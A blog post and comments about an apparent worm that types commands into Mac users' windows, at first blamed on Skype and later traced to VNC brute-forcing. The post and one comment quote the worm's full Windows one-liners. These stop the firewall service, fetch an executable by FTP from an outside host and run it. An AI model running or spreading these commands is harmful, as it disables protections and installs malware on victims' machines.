Skype Worms

Is there any Mac Skype user out there receiving the following type of messages from other Mac Skype users?

5systemroot5\system32\cmd.exe
cmd -c net stop sharedaccess 7echo open elterryer.serveftp.com 21 .. ij 7echo user a b .. ij 7echo binary .. ij 7echo get update.exe .. ij 7echo bye .. ij 7ftp ‘n ‘v ‘sçij 7del ij 7update.exe 7net start sharedaccess 7exit

Lately I’ve been receiving this message from my mom. I was able to successfully connect the ftp server described in the message. Obviously this is some sort of Worm/Trojan that is affecting Skype users, but what is confusing me is that I’m receiving this message from a Mac user. My mom owns a Mac mini, running MacOSX 10.4.9. I already received 3 messages like this from her.

Since Skype released its API there have been a few worms/trojans going around. I know people that joins chat rooms without doing anything to join them. I’m just wondering if this is a Skype-only issue and not worry about it or if I should really worry about it and do something to her computer.

[Update 29th May: I found out that this is not related to Skype. It’s a worm based on a brute force attack to VNC servers. It doesn’t really do anything else other than having that block of text pasted in the window with the focus. For more information see http://episteme.arstechnica.com/eve/forums/a/tpc/f/469092836/m/264004244831 ]

3 thoughts on “Skype Worms

  1. yes im getting that message but not through skype, its typing it in remotely somehow – running os x 10.4.9

  2. cmd /c net stop SharedAccess &echo open 89.139.205.157 56874 >> ij &echo user t g >> ij &echo get jw.exe >> ij &echo bye >> ij &ftp -n -v -s:ij &del ij &jw.exe &net start SharedAccess &exit

    i have this thing as well…
    its SOOOO anoying !!!
    any solutions anyone ?

Comments are closed.